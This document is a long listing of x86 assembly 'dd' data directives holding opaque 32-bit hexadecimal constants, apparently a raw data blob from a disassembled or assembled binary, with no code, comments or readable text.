dd 46CFD95Bh, 0F4FD95B1h, 0FDEE66D8h, 0CD7EE1D9h, 28D4D7BCh
dd 8DEFB2B6h, 0EFBEFA9Ch, 5EFAAE0Eh, 0FCF3CA61h, 27F6AAEAh
dd 0DA6B0E1Eh, 0C4E428A2h, 9EBF5E77h, 617CED67h, 6B5CF3B8h
dd 0BA3BC7B2h, 709C75EDh, 0A8861D82h, 0CC709131h, 93CE09A9h
dd 8DB264C9h, 65997322h, 0C8BE862Bh, 6879067Eh, 0D8E4D69Dh
dd 9F8E9EA9h, 0C36B531Eh, 8D75A2DAh, 98ADAD0Eh, 0D6B0DC77h
dd 0E3CE1B2Bh, 9DCF15D3h, 0DA18ED2Eh, 0D86E77D0h, 73AD3F9Bh
dd 0F98AA360h, 0C1EF2777h, 4C777AF0h, 4541F3AAh, 5D873259h
dd 0DD5C2654h, 0E21A1616h, 0E0571B2Dh, 0CACACD2Eh, 7593274Dh
dd 0B5FB7CAEh, 11F964B7h, 783C9235h, 5DD93CEDh, 0CB19EE14h
dd 0DA4ECEA2h, 52C693C5h, 8857F8C5h, 7FEDADDFh, 7EC036E2h
dd 0EDADC213h, 4D16EA7Fh, 540551A5h, 0DE7D503Ah, 5B95DDDFh
dd 75B0DFDBh, 0D1A922A4h, 0F92FFDB6h, 6B72BBBBh, 8EB61BFBh
dd 0BF741254h, 0F13FE304h, 0ADCAEEEFh, 3AD86FEDh, 36547152h
dd 0B1003Ch, 67777F99h, 0D7FF6D6Eh, 50D48EB7h, 57ADFB8Ch
dd 0DD4FFED7h, 5409523Ah, 89DDDFE1h, 0B6DFDB5Bh, 17F70345h
dd 0D96FFF42h, 5B99FFFEh, 2BF23B1Fh, 71BBBBFAh, 0B69BFB6Bh
dd 4A952A28h, 9401BFC1h, 7ED0A4BDh, 79CE36EAh, 5DE7A56Fh
dd 8FD82995h, 0DC87F7B6h, 0C8D91FE4h, 510B921Ch, 88E22964h
dd 2935812h, 0EFB78DECh, 0F9D9E615h, 899BF899h, 0E4D034DCh
dd 0F60661FEh, 0A452ED73h, 7D6D9705h, 197AEDD2h, 46491236h
dd 64DE424Ch, 241A8F9Ah, 2D418D2Eh, 0E8C1CEF2h, 0C28282B4h
dd 0E3791712h, 7F6DCB87h, 0BCA284F9h, 0F231EFA9h, 0B4C8EAECh
dd 0A7320C8Ch, 96FB4BE9h, 1F4CCE29h, 91376E47h, 0D5D2FBFEh
dd 538F78CBh, 0B3DF9C37h, 569BD39Eh, 5A539639h, 624D5E42h
dd 7DA1F71Fh, 1617A4CBh, 7B8E9014h, 0C8C72AD3h, 0F937517Dh
dd 0E5095A8Ah, 1996FB4Bh, 0AF39EB9Dh, 7E72AD37h, 9BCA714Fh
dd 4977EF56h, 24DFA7A1h, 47963DF5h, 9E8453BEh, 0F5AAD37Ah
dd 8573484Ah, 2BCF3645h, 6932DF69h, 0C8837BF6h, 0A93C0F3Bh
dd 0CCECB1EFh, 0A1FEF212h, 0B19D13D1h, 0D37FBEA8h, 0A8C79EB2h
dd 0BEFBEAA9h, 0A4A0B65h, 78CC8873h, 3963DF53h, 0D5E48525h
dd 0AD37940Ch, 39CF2C7Eh, 36937796h, 0AB369CF3h, 1C9C1B1Fh
dd 0ACF3E559h, 95ABF7D5h, 0BB5E78ADh, 0B3C57E5Ah, 79383DBh
dd 1E73F744h, 0B82F2727h, 55DF79F2h, 1ADA5FCDh, 585F1AECh
dd 5AD3C9D0h, 0CA2FEA5Bh, 9BBFD551h, 0F562A555h, 0F9556A6Fh
dd 73B556A2h, 32FB5724h, 0F45F8DD3h, 0DE4FB9AAh, 977CF8BEh
dd 0AAE95AAEh, 53DB6CC7h, 1BB825F9h, 231EFACAh, 0BF5F95FBh
dd 27D45AABh, 0B677EABFh, 0F558B5AAh, 85F3E518h, 0AAFC6AA7h
dd 0CAF8AFCCh, 55CEF553h, 0B55453E4h, 2D5576AFh, 5518ED59h
dd 0D5612BE5h, 8C7AAD1Ah, 0CA217EF2h, 0ED5E415Eh, 0F037814Bh
dd 9F71FAAAh, 0B3E8B23Ch, 31F6F2A6h, 7BF55FB2h, 578B55D1h
dd 0DDE5563Bh, 657D640Ch, 0AE515A46h, 0C2EA1DF3h, 36B931C2h
dd 0E47924C4h, 0B951C6F5h, 13C56905h, 5FDBE6ABh, 8076AC6Fh
dd 2CAFDBE4h, 5BAB3E70h, 1BDCB5F9h, 15A7458Eh, 0CDCE8DA5h
dd 0F26FDF23h, 5BE1C79Eh, 0E8DE5E5Ah, 840D6734h, 0DBFB27DDh
dd 8F10C969h, 0EFBC768Ah, 0A8B270B9h, 32E48E52h, 7E5D77B4h
dd 0C182FBE5h, 15FB38FCh, 695454BCh, 0B1665656h, 0CCB8C06Bh
dd 0C2BCACE2h, 0F63BF0F1h, 497705D2h, 0AEC43161h, 0F3BE7EE2h
dd 3CB494CEh, 0DC6DF397h, 0A101117Ah, 0D080E5EDh, 42035311h
dd 878BA469h, 0E868406h, 422D080Bh, 851F8E5Ah, 0C5F8C6BCh
dd 0DD9E754Fh, 17E98E4Eh, 0A2215B17h, 0B2AB5836h, 0BF62A7D6h
dd 0EC6BED0h, 7AE5576Eh, 408DE764h, 8EF224AEh, 0ECDE11A0h
dd 59124844h, 152CEEEAh, 50A997B7h, 0A870DBCEh, 0F222A2B4h
dd 0D20CD19Eh, 2DD5FB57h, 0BDC73D75h, 0E9B27F2Fh, 9CF4E2D2h
dd 0FB117834h, 95B06995h, 0A2647BCEh, 9EAF2228h, 12BA302Fh
dd 917AF160h, 0BF419F4Fh, 723F29Dh, 2A8E8E67h, 0CEEF1C2Eh
dd 0D6491E2Ch, 86AB3942h, 0DDEC1728h, 0EF3C3F95h, 22B08836h
dd 2F4C8D07h, 0AF691FCCh, 0D3D9E864h, 8F7C558Bh, 0E7E27CFBh
dd 0B75086EFh, 16D2FFB6h, 12273F60h, 0C8D3514Eh, 0E1A641BBh
dd 0F6C9307Fh, 56EFA423h, 0D33EFEC7h, 0F793E410h, 2521148Ch
dd 2522E6F5h, 0E65917EFh, 5BFA9E7h, 0C8AF7929h, 9DE4A411h
dd 92916722h, 0FE5089F7h, 483AB4D4h, 6F57FB9Ah, 8B229837h
dd 4FE468DFh, 0E907DA40h, 214748BDh, 4E90FBDh, 7CC2A4A4h
dd 9691D3A4h, 91419D23h, 0D35176EFh, 8E3D2366h, 0BE450E74h
dd 7B4D4C2Fh, 506904h, 0A451ED35h, 91F3A42Eh, 431F48CAh
dd 71F4889Ah, 370139A4h, 0C0C9175Eh, 2FEDD8C5h, 0E9173A46h
dd 200FA47Ah, 41F48FDDh
dd 3E90A7A4h, 0D212F484h, 3434879h, 92769A9h, 469E90DFh
dd 7AB033DAh, 1D547EBBh, 60486630h, 0F27B7E75h, 9FC86A73h
dd 0DCFE4350h, 0D717F21Ah, 435E5F90h, 0F21A96FEh, 7F90D7F7h
dd 0B3FC86BCh, 0AA5FE435h, 0D6A83F21h, 0D79BF3CDh, 435E1F90h
dd 7E435CBEh, 87F21A9Fh, 539F90D4h, 1A84FE43h, 90D6E7F2h
dd 0FC86B8BFh, 0B7F21AF2h, 0BFBF90D4h, 35E3FC86h, 21AD9FE4h
dd 0F90D52FFh, 0C0D5B741h, 0C3F21AFFh, 6B97C86Bh, 0FC83EFC8h
dd 548189F0h, 1D03CFB8h, 0EEAA9339h, 0BAAE4F97h, 0D54A767Fh
dd 0AB7BF0FDh, 5AAFBFD5h, 0EAD569FDh, 7F56AF4Fh, 51FDD566h
dd 0BF948159h, 5D3EE57Fh, 0F04D4818h, 940E79E9h, 0BF29F450h
dd 5A90372Ch, 67DFB3E9h, 0FA65204Ch, 0BCDCFECh, 3DF69EA4h
dd 0F7DA015Fh, 0EFDA1FEDh, 47FF23E8h, 1CD481DCh, 290DF39Fh
dd 0F5EEA409h, 0FD8E3FD9h, 0A3FB3E59h, 9FEEAB4Ah, 0EFB17EC5h
dd 0A40F8CF5h, 4FD9F4DEh, 0FB1B7F04h, 0B93F9F94h, 7DE27EEAh
dd 0AB4F8ED5h, 7A647FBAh, 99D0FDD5h, 0AACFEAD5h, 0B54A7E56h
dd 0DD56F7F2h, 0EA7B6EF7h, 97A627EEh, 7DEF63AAh, 690FD948h
dd 154B151h, 52654255h, 0EA8B94C5h, 0C3A09487h, 953FAA20h
dd 7B64FD8Ch, 0A6DB83F5h, 0CA5C8948h, 0F292707Eh, 0AAC79FB7h
dd 0E17B7F8Dh, 0AF03A2A1h, 0A5519F5Fh, 0C72A129Dh, 0F720D59Eh
dd 0CB51B2CCh, 4D41DF6Dh, 675CDFC3h, 76CC83FEh, 0D265DBE4h
dd 170D79ECh, 0B73EC635h, 0CC843E67h, 0BAA78EB9h, 1322F3D9h
dd 351D2250h, 69A3ECF3h, 9B486F76h, 1339ECE3h, 0E2A33D97h
dd 0AA42B1C2h, 0D2327ED4h, 14717FB7h, 6E696B8Dh, 39C12FF7h
dd 0F4ED67A3h, 5DBA6A34h, 537AA346h, 0D5D7C18Fh, 15E99946h
dd 1FD6F29Ch, 616FD76Ah, 46F0F7D7h, 455CCAF5h, 0FD76C1FDh
dd 0FDF53E26h, 7EA73F28h, 98E0650Eh, 0B4FF901Fh, 3C892B2Ah
dd 0C739FBC7h, 37E3EDFDh, 0D7E2695Bh, 0D47DFC93h, 9038D729h
dd 0F3641B94h, 0EDD71733h, 0ECE23AA2h, 6798E099h, 1D473BDFh
dd 0E7394418h, 8D3E3067h, 0AE55A6A9h, 91DA3E0Dh, 7C4A8F03h
dd 8A526360h, 8847B14Ah, 3396768Ch, 0F9EC7D8Ah, 448C0CA5h
dd 2E923D9Ah, 4E5C1E2Ah, 0BFCC6A7h, 232BE212h, 8E86A87Bh
dd 0B16F548Ch, 648B457Bh, 0AD1B2BBEh, 0CAE7990h, 0F6595CFBh
dd 0BE32573Dh, 7DB66CA4h, 3C73DE17h, 0E7B22A9Fh, 0AAF9C8D2h
dd 0B540878Fh, 0AA60CD42h, 83C64DD9h, 0BFD8F9C1h, 0E7028F18h
dd 1E34D78h, 0C95699FDh, 5F54FDB7h, 0BE85ED3Bh, 13EE704Fh
dd 0D9BCFBFCh, 78773546h, 0C7A51FD3h, 0C6EE57D8h, 0EDF879D5h
dd 9BE2EA91h, 0BB27775Ch, 0A75B0CDDh, 6888B57Ch, 3CAF5798h
dd 7CDBA46Dh, 10E7B62Ch, 0F29D6C4Bh, 33816768h, 675D58EBh
dd 0FFCF5FABh, 8EF4CD59h, 8C2A5353h, 0BD06B67Ah, 0FE28C089h
dd 396538D5h, 0A71A6BC7h, 0CDBDF2AAh, 0AAA0FE7Eh, 7BB44B9Dh
dd 1495C6EBh, 0EFF8F2DAh, 0EA6AD98Dh, 3DA5AA4Eh, 59E02966h
dd 0C8BA5DAEh, 6D9A255Eh, 63BE50EBh, 0BAE2C6F9h, 6DCA6D73h
dd 0AA9487F3h, 0BB08DE7Ah, 37CE642Fh, 0ADE59ECDh, 1D1E223Ah
dd 0EE39B02Fh, 0E65F395h, 5D536AFFh, 0AA608FD0h, 0D7F84DD5h
dd 92FFD289h, 0F1CE697Fh, 93D7F89Ah, 73CD3C3Ah, 719DB20Eh
dd 1F87A57Ch, 0FFBFECE3h, 9CC8BF0Eh, 0DAD51076h, 0AE3457E6h
dd 3C6508A5h, 7F06291Ch, 0A3CFF00Ah, 52D03DFBh, 645F239Eh
dd 0C573DC0Eh, 0ED3D43D3h, 0DD3B444Ch, 0DF0EBAA8h, 0F5FFB2Dh
dd 745B2527h, 8EE6D7A8h, 0DAE11AA5h, 656DB0EEh, 3F5B3D9Ch
dd 4F263C12h, 0BFB1F6C9h, 3F60955Ch, 0C7DBEF17h, 0CB33A8B6h
dd 0EC3319B1h, 0DB6E3EF5h, 585494DAh, 1556AF25h, 2A22C463h
dd 0CFCBD964h, 0D6067197h, 38698B19h, 0A5AD8E4Fh, 1495F619h
dd 6C7650DCh, 0EF7BDE15h, 0FBECBA2Eh, 253DE3CCh, 0C8543723h
dd 0F7B431DAh, 0EBF5C05Dh, 37ED7D33h, 1E43B1E5h, 0DF8777C8h
dd 8A9A767Dh, 0DBFAF973h, 0A69C6D7Fh, 3D75C8F9h, 5AEA18BFh
dd 0D381E100h, 0AC8F20E3h, 0F10EA0C5h, 647C1D71h, 77E1C02Dh
dd 0FB1EEA1Bh, 6BECC27Ah, 5BC158EFh, 0CEC1F1EFh, 71CE76F1h
dd 0F9F1DAB6h, 0CEF6F1CEh, 9652AE71h, 7279BEDh, 0CA37E39Ch
dd 79E76532h, 39B601AEh, 81E69A88h, 30A99360h, 0DF1DB8E7h
dd 3933FDFAh, 1BD36CF5h, 0D6F448CEh, 0BC802EFEh, 0ED8660AFh
dd 8E30D29Bh, 1CA8291Eh, 0BB415DF9h, 707BFE6Ch, 0C7BF2354h
dd 5188123Dh, 2F36DB77h, 0AF5FD1DFh, 0DADAE4C6h, 98D9EFF5h
dd 50777E5Ah, 8C796DDDh, 15AF51C3h, 9FEB64EDh, 0DA64DAC7h
dd 67DA172Dh, 22E058F5h, 43A457DBh, 24D63CFEh, 57AAC7C3h
dd 7CDD4FB5h, 4E3DC63Ch, 0C9A589BFh, 6855A8ACh, 0CF8F72DBh
dd 5E42F4ADh, 6386904Fh, 0BA5F3669h, 9559B355h, 86F7AB65h
dd 738A5FB4h, 7A4A768Fh, 58E45FCFh, 6F4FB748h, 0DAE60E89h
dd 7EF6A579h, 540F0ABFh, 0D1CD0F79h, 0C77F7F42h, 8C275E6h
dd 36115304h, 0D3423ACFh, 0AAECEAFFh, 8F386DFDh, 9C6478ECh
dd 59C896F0h, 54AC5F47h, 0B764B6D1h, 576DDB4Dh, 156A1DF7h
dd 0B28A5CBBh, 552E9DA4h, 0D6479730h, 3AC73AB7h, 0F37EB239h
dd 0C9AAA4ABh, 0B2D9C42h, 5906E3Dh, 0E36D7D97h, 0C4FFBC2Ah
dd 0DCF6518Ah, 0FC77CC45h, 2A1F2F92h, 0A4CDD9EDh, 0AE20E5C2h
dd 0AFD66AECh, 0AB8B4C72h, 0B512B8F4h, 0F2DBB377h, 0B6D963F5h
dd 0A8E47904h, 0D754C312h, 0D157710h, 58E05571h, 0AB13D232h
dd 9EF546C8h, 0AB6D33FFh, 12B5BF7Eh, 195444BBh, 0C6E40C93h
dd 9DC24C63h, 5AE7F931h, 5EF75BECh, 7E4D6EBBh, 113ED7D4h
dd 4FB1E19Bh, 0FFD354D9h, 3C827D8Ah, 9223B6D4h, 0C23EE720h
dd 0A9958A8Ch, 0F02D8EB9h, 4523C870h, 0BFEA7EBEh, 36D11FBBh
dd 841C0B8Fh, 0FE5ADD59h, 507F9FF7h, 7F89C945h, 9CFF85C1h
dd 8E3787Eh, 379094CFh, 0C6AFF88Eh, 0B537B10Dh, 66A76EBEh
dd 0A0C6BD9Ah, 0DFFDE5AAh, 0FEDDF1C1h, 71BEE589h, 154443ADh
dd 89DFFB3Bh, 9E9FC1FBh, 0E068FE1Eh, 2DD51065h, 38CB12B0h
dd 39EF9F7Ch, 1D0FB64Eh, 0CEEFFEAEh, 1FF9DC7Fh, 5511FF3Ch
dd 0E545FCE3h, 0BFCF47FCh, 0FC48BF98h, 8917F327h, 45FCE2FFh
dd 0FE717FE2h, 0F3A6FC22h, 91F8E117h, 0BB2E5D1Bh, 6F289EAFh
dd 36D35517h, 0D3F0A3CDh, 0F21279A6h, 5DAEC40Fh, 9C9290BBh
dd 627FF6EBh, 0FC84EC1Ah, 0AFBF6EBBh, 37BBFA8Ah, 0F0E785D2h
dd 7DBF147Bh, 0E05FF900h, 0CEE10177h, 0E2913BA5h, 34042A77h
dd 0C0AF984h, 598275D9h, 30EFC7EFh, 1CA0FF7Eh, 0A491874Bh
dd 6D434342h, 5819912Eh, 37F91ABFh, 0FE53FFEDh, 81AEFEF9h
dd 0B7C05777h, 85DBE04Bh, 0B23F95DAh, 71C9F24Fh, 0F237F2DFh
dd 0FE46BFCFh, 0E46FFAEDh, 6F67005Fh, 0DB9FC054h, 542BDB1h
dd 0DD7642FCh, 0FEDBEF35h, 0B28A17E8h, 7D94D1ABh, 7F2FF123h
dd 0F0279445h, 0E5FB2892h, 488CE471h, 0A78AE177h, 0BD43F4D5h
dd 37DDE05Dh, 7DFD54DFh, 0D3C0FB9h, 8DE8C8F1h, 0BFF80BFCh
dd 4F3ABFCCh, 7E2C453Dh, 5FAEE79Dh, 513E63FFh, 0A8206BA6h
dd 7F39243Ah, 8F1D7E7Dh, 0DCFF9EE3h, 0FF9C9235h, 3ECF39E3h
dd 5C842F49h, 73C7F6BFh, 0A05FAFE7h, 0F5A4FB3Ch, 0A8E53C3Fh
dd 0ECF5BC3Fh, 9F5DAE76h, 0DCD1768Fh, 71E7951Fh, 70784BCEh
dd 15DA3C0Ah, 1AB7C950h, 4E39D2AFh, 373A92CAh, 0FFE05FE7h
dd 710BFC73h, 6BFCEDF6h, 0F846BD24h, 0DFE1C177h, 177F8705h
dd 0F85DFE1Ch, 0AD5FE5EFh
dd 51FE60FFh, 9D767295h, 0FE155DC8h, 77F8775Dh, 0DFDFE1DDh
dd 0FDB77F24h, 710BFC6Dh, 0F0E217F8h, 5FE1C42Fh, 10BFC388h
dd 6E42FE47h, 21FF7F2Eh, 9FFDABFCh, 57947F29h, 0FEAF297Fh
dd 0FC99FF52h, 0E4CFFA0Bh, 7FB53FDFh, 276A4124h, 0DFC85FE0h
dd 0D43ABFC5h, 76D6EDADh, 0DDB5BB6Bh, 0B76D6EDAh, 0ADDB5BB6h
dd 6B76D6EDh, 10D90FFBh, 9B7590D4h, 0CC43CC41h, 0E659CCA7h
dd 0A258B236h, 90E54527h, 8ECC1D84h, 0FB3A760h, 57D98BB2h
dd 1F6C4BD9h, 0E04FCDCEh, 89CE16EFh, 0C645B46Bh, 0A31EC64Bh
dd 5CCCB995h, 0AB9B9661h, 26E6F5CDh, 0C3B98B73h, 31EE65DCh
dd 0CD079BF7h, 0F351E623h, 7999F9B8h, 9E633CCAh, 1799CF35h
dd 25E68BCCh, 59498AF3h, 55905681h, 4B250ACFh, 0FB291268h
dd 0B9ADB1FBh, 0DC89CCEh, 52B80AE0h, 9EE7EEEh, 3D6E65EEh
dd 886FF067h, 0E283C47Bh, 0D4A3B131h, 5B968A57h, 0D34D751Bh
dd 0D57CCC7Ch, 0AE968C3Ch, 10AC759Ah, 0CAD5A9ABh, 5986B70Ah
dd 5ECA28D4h, 17D32B2Bh, 0C70CD6E8h, 996B3194h, 0B63D4C9Dh
dd 77B2AB3Dh, 43ECC5B1h, 76ECF3ECh, 23B613F6h, 0CF9B9937h
dd 0BCB1C57Dh, 9FE42FC2h, 3FF10FE1h, 0EBF897F2h, 920B07Ch
dd 0E12CC219h, 0F0916111h, 0F85DB0B2h, 85DF859h, 6D8A9B11h
dd 9A62FEC5h, 407C4538h, 233E2F9Ch, 89AF13AEh, 0EA45A44Dh
dd 7989B512h, 0CDDCCE1Bh, 0ADB2B28Ah, 0EB0BEB72h, 2296B93Ch
dd 1C4F5ECAh, 0DBA03748h, 3474E1D0h, 0D1A7489Dh, 0FA14F479h
dd 0FA35FA59h, 0DA57FA5Dh, 0B4C2698Fh, 0DB307A62h, 33993798h
dd 10F67CCCh, 88B730FBh, 0CABDC55Bh, 0F913E575h, 0BC25F9C7h
dd 9A2DDE28h, 0A652B44Ah, 557E509Ch, 8D565482h, 0E9AB0757h
dd 493A816Ah, 0A79D5FBDh, 0ABB751AEh, 0DA25AA7Fh, 7E825AABh
dd 4E0D6F55h, 0B99C7653h, 338B0918h, 0D147A10Eh, 7A04F4F9h
dd 0BD0CFD3Eh, 0EF41DE9Ah, 9FD20FA6h, 41D39FD0h, 0F746084Ch
dd 0DB1DA665h, 67652D85h, 0E9B18FB1h, 8EB7395Ch, 0E11FE52Bh
dd 4241F2F7h, 9A0BC088h, 0C4E446D0h, 0E936E29Eh, 0E913E943h
dd 365FC91Bh, 0AC4A3AE5h, 2914AA92h, 0AD68957Bh, 569EF6BFh
dd 0F7AB6F57h, 5CF5D3D1h, 80FEA67Dh, 0A03F5ABEh, 1B3A3537h
dd 6318C6F1h, 7180F18Ah, 6B942310h, 369F36CEh, 217E91D7h
dd 0D2472C96h, 3CCBE986h, 0DF65AEC7h, 6B627F61h, 8D38AD73h
dd 7146E38Bh, 0F434DC25h, 903F2DA0h, 0E19FCE9Fh, 0D0A0E139h
dd 35246C56h, 6CA41297h, 41B2A169h, 0A6394D79h, 0A6FCA97Ch
dd 552EA9F8h, 0D3AB8757h, 21EA65D5h, 0A61A9CF5h, 2D50DAF1h
dd 6DA39B5Fh, 1F6A0ED4h, 37AFE6Bh, 44BE807Dh, 44FF5D7Fh
dd 53FF45FFh, 3128CBBFh, 305E349Eh, 19BF1876h, 334B667Eh
dd 0A733CCC5h, 0B5CC0B98h, 3366F7E6h, 0CFD59DABh, 5A86B64Ah
dd 0D605AD53h, 0F580EB76h, 0A2DA7589h, 14759196h, 32D34514h
dd 0CFE8FBDh, 6990D4E3h, 46650CC6h, 0E9989331h, 932622CCh
dd 67CECD9Dh, 0B8E7B84Bh, 0DC97DC35h, 0CE65DCF7h, 87CBAF8Fh
dd 9979DDF1h, 14B4286Fh, 30B06168h, 1C265856h, 9A10FE11h
dd 0CEC52D8Ah, 4B316F62h, 577C587Ch, 42FC50FCh, 281C46FCh
dd 4B8F4965h, 25974BCFh, 0B725AE4Ah, 83CBBB90h, 0A6651CE5h
dd 52B2A0F2h, 0A6FDAC3Bh, 74DDEA85h, 2FAF9F56h, 1FE9D7D7h
dd 0EFF5A7EAh, 588C3BF5h, 81F1AC63h, 0DC7ADA31h, 0D6A2D67Ah
dd 0F6AE47Bh, 0B89593B3h, 9C83B817h, 9FCF7FC0h, 0D3CBC694h
dd 62F279E5h, 80F959F9h, 56FE587Ch, 5034A5AEh, 944B29BAh
dd 0EA5994B7h, 7A977572h, 0B5AC6D5Ah, 0ADCD4CD5h, 6BF6D32Dh
dd 7A96F54Dh, 23D45D47h, 2CFAA1F5h, 7D1ADD8Ch, 0BF47BEA3h
dd 718898DDh, 6A7C69DBh, 0ACB35804h, 0D6BDAD57h, 0EB29D6FBh
dd 9127F59Ch, 0B5145DE7h, 0BA6D4910h, 0A68EDD29h, 3A749EE9h
dd 0FD237924h, 0BE9A7D36h, 0DD320746h, 5E99E19h, 4E62AD2Eh
dd 0DED01132h, 0D0A3DC39h, 185CB5DCh, 5D3F05FFh, 41F85C78h
dd 91EE2DA8h, 7954957Eh, 5039FA1Ah, 503E51C9h, 0D442513Eh
dd 3EA0AACEh, 0CED2D6A1h, 523E9C6Bh, 0D1EFD0CFh, 0D65FD3EFh
dd 0D53FD0DFh, 0C6668C83h, 71BA6310h, 31B4F1BFh, 0DE619CD5h
dd 0BE83CE6Fh, 0F3E613Fh, 0F99AF2FBh, 23A9913Ah, 0C9167514h
dd 0D30DBA66h, 1CCB9981h, 74D8E260h, 0F63ACE8Ch, 0DABA418h
dd 0B9BD7067h, 0B7186E78h, 0CCD8FD1Ch, 0E71DCBBDh, 0E0B5C1FEh
dd 817F794Bh, 30A7A11h, 0A1421185h, 56784930h, 866C2F58h
dd 6E87D796h, 0C4B38817h, 0E255C5A7h, 0F135F16Ah, 0BC5E7888h
dd 5E30E243h, 0A467A573h, 487FA5B7h, 0B96B7281h, 0DF219CBFh
dd 0AF243F27h, 6FCA7790h, 0CFE547C9h, 0ABE59FE4h, 854B76E0h
dd 0FD2A7A53h, 4A051FA1h, 0E952B289h, 16D28DA4h, 0D1F5836Ah
dd 0FD01EEE0h, 0BEB9FEA8h, 3667A8C1h, 0AD9A9B30h, 985686CCh
dd 0ADA2D5D5h, 758A56BEh, 156395B7h, 39AC535Bh, 69EB7CD6h
dd 0D6B5856Bh, 69BD62DAh, 818EB41Dh, 3F58DFF3h, 575ABF5Ah
dd 6C14EA2Ch, 5453FAFh, 4D6175D0h, 0D277D39Ah, 34EEE91Dh
dd 14746B4Fh, 32BB071Dh, 0CE9BBE98h, 0D3716D84h, 0F4E9E893h
dd 0FA51FA5Ch, 0ACD8C09h, 3B7A65FAh, 0F8D6D47Dh, 0F4B3E92Fh
dd 0BA55F40Fh, 6980D336h, 60F55E09h, 0E99A2614h, 0D2660CCFh
dd 294C3198h, 0F31F73h, 167980B3h, 0D981B7A3h, 0E65ECCEh
dd 5F309F33h, 0BF303F32h, 0EDEC7E33h, 4EF6136Ch, 0B1CB33B6h
dd 0EC326CD1h, 963B3667h, 782D0C9Dh, 7D8E7D94h, 7D857D91h
dd 7EC7DD9Dh, 8E037ECCh, 0E2D6C9FFh, 613BB842h, 0F79B39BDh
dd 5CE1B903h, 4DC85726h, 0F7266E4h, 0CF724F73h, 0E66F92C3h
dd 70F6E0DEh, 0B8E770DFh, 0B93FB89Fh, 0DF087C5Ah, 0ED076F82h
dd 0BE48F891h, 8FCA9F1Fh, 377973E4h, 9FBF953Fh, 0B9160C7Fh
dd 6FC75F8Ch, 6582DFE5h, 0D3F98FEh, 0D615FF39h, 48D08EB9h
dd 0C2742D68h, 0AC426A18h, 2A184030h, 0C2F90BA4h, 0E17EE154h
dd 0A119E131h, 6C27584Ch, 0E12DE15h, 0A70B1F09h, 3F85EF85h
dd 88625A85h, 90F42778h, 0E2E80D13h, 38B87140h, 3E2C9C46h
dd 265E0B04h, 10DF166Eh, 4F33400Fh, 57883F8Ah, 3352FAC5h
dd 55D4ADA9h, 1A4B2412h, 26928D22h, 47A5D34Ah, 0A5A527A5h
dd 2DE94ED2h, 0A52FC158h, 25DFA41Fh, 0B976F93Fh, 0DCA77C89h
dd 4364E659h, 0C9FB918Eh, 7950F249h, 172D9C94h, 14F2A5C8h
dd 0A0FCA679h, 0F13418FCh, 0BCA57939h, 6F24DE46h, 4E84DF97h
dd 963F911Eh, 92BF973Fh, 0C8BFC9CFh, 253F6597h, 3A510948h
dd 2794B328h, 9B657294h, 5CF95072h, 0A5A945F9h, 354F6A2Ah
dd 9F57CD45h, 5F505F52h, 1FAB3754h, 0BFA9DFA9h, 3F5AB1AAh
dd 0B776B06Dh, 0A09B4636h, 68AF6B95h, 0B4B7B4DBh, 0DA23B477h
dd 5A37DA27h, 0FEB87D47h, 0BE8AFE92h, 0FF40FF4Dh, 2C606F55h
dd 30B4B680h, 612399BBh, 6199B775h, 976B38D6h, 5F805D45h
dd 7476F325h, 4745DA1Dh, 0D145B2C0h, 0FA44F4C5h, 321CBA29h
dd 67B4C811h, 263898A2h, 0BCC11995h, 1B67D4C8h, 0B06B22B3h
dd 0D0E5B24Fh, 2FD80FA3h, 0EFD9AFD8h, 9FD91FD8h, 0CBD8DFD9h
dd 9FD635ECh, 0CBAB8DBBh, 0B90D7305h, 5C1DDCA6h, 4EF581Bh
dd 3BE31F2Eh, 7DC25B9Fh, 84D87B0Ch, 0F027C56Fh, 634FF20Fh
dd 0BBF036ECh, 0A7FC23F8h, 0F8DFB718h, 420684DBh, 4B475857h
dd 0CBBD07E8h, 1615EE17h, 37852B0Ah, 59C26384h, 6286CA58h
dd 1C5A317Bh, 5C631621h
dd 0DD67849Eh, 5E2A7E2Fh, 2248DB14h, 8C18C03Ch, 76D2E3C3h
dd 44292BE9h, 72B32B6Eh, 0E72E9CB4h, 0C2D0F9C8h, 0F2F3F2F9h
dd 0CF0B5B46h, 0EBE497C9h, 0DEE84B72h, 72A2E56Eh, 5556DA9Bh
dd 94F061D5h, 5497D573h, 0D35DD697h, 0AC6D68B5h, 0ADDB40B6h
dd 0EBBAD09Dh, 0FAB5F54Bh, 9EAF7D16h, 0BC683C6Fh, 9C627C63h
dd 0E71ACE32h, 2D466B8Dh, 639A873h, 581025F6h, 16359FA2h
dd 5AC8B95Ah, 0D0782B03h, 991485A3h, 0F7CF24CBh, 0E867D305h
dd 0EB15406Eh, 6C411DA1h, 4AC5D673h, 0C4E82F6Ch, 0F72B765Eh
dd 5719F726h, 0B4622807h, 0BEF092F0h, 2FE423F0h, 5A21EC4Ch
dd 971D2F22h, 4BCE90BEh, 0E5DD49BFh, 895A641Fh, 8329FA51h
dd 4C95BB95h, 4132AC65h, 48794FB9h, 0AC595C79h, 845E572Ch
dd 5D53BBB7h, 88F62AA0h, 0D5DED7CFh, 377C625Ah, 3FF527E8h
dd 37460EF4h, 0DE78C323h, 3820CAF8h, 2F228FCDh, 1CC4EEEAh
dd 85737700h, 8F2CB246h, 43E65706h, 6BC956F2h, 4FE50FE5h
dd 3DE5EFE5h, 2DF576CAh, 697AD695h, 8D16DA69h, 9F51F972h
dd 2E774EA1h, 0DCE2CB91h, 0D2B0BDDCh, 2F4AC08Fh, 42C256E5h
dd 0E4EDCABEh, 0C30EE6DEh, 7E869E4Ah, 42EAE55Eh, 62F9132Bh
dd 2FF017Eh, 0FE55F0B4h, 5EF1C630h, 0E6F861E1h, 42EB859Fh
dd 3893B10Bh, 6874C4Ch, 8A8F12EDh, 0E1D5F07Eh, 36640292h
dd 3A477A40h, 4DCA8529h, 1A3D0665h, 1F91CF23h, 0FFC97796h
dd 0DB96BF90h, 20CA5128h, 5EF954A5h, 5634ACB9h, 0A977A85Bh
dd 6B4EC0C5h, 54DE6181h, 0B475A82Fh, 76BC5A8Eh, 6B899697h
dd 0A5DB467Eh, 68BA051Dh, 58F4BBACh, 5EBEAC7Dh, 1A7A370Fh
dd 460DE0FDh, 8B606E19h, 21878DFBh, 0CB1ACFE7h, 7AC6558Dh
dd 6E51B363h, 0DA28B31Eh, 8C820A8Fh, 0BD0CD387h, 0CCC56E94h
dd 0AB305663h, 7399AF99h, 25CC4FCCh, 82D31AE6h, 0EC7ED855h
dd 6E25EE52h, 0BB8A771Fh, 0C1F9378Dh, 0CD2C1E7Ch, 3F067E44h
